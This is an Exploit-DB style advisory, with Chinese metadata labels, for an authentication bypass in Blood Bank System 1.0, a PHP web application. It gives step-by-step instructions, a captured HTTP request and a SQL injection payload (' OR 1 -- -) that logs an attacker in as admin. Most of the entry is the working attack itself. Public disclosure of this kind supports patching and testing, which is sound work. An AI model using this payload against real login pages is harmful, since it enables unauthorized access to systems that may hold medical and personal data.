Blood Bank System 1.0 – Authentication Bypass

  • 作者: Nitin Sharma
    日期: 2021-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50362/
  • # Exploit Title: Blood Bank System 1.0 - Authentication Bypass
    # Date: 30-9-2021
    # Exploit Author: Nitin Sharma (vidvansh)
    # Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code/
    # Software Link : https://download.code-projects.org/details/f44a4ba9-bc33-48c3-b030-02f62117d230
    # Version: 1.0
    # Tested on: Windows 10 , Apache , Mysql 
    
    # Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.
    
    #Steps-To-Reproduce:
    Step 1 Go to the Product admin panel http://localhost/bloodbank/login.php.
    Step 2 – Enter anything in username and password
    Step 3 – Click on Login and capture the request in the burp suite
    Step4 – Change the username to ' OR 1 -- -and password to ' OR 1 -- -.
    Step 5 – Click forward and now you will be logged in as admin.
    
    # PoC:
    
    GET /bloodbank/file/../bloodrequest.php?msg=Gandhi%20hospital%20have%20logged%20in. HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/bloodbank/login.php
    Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    # Authentication Bypass:
    
    # Go to admin login page (http://localhost/bloodbank/login.php), then use below payload as username and password => 
    Username: ** Random email**			
    Password: ' or 1 -- -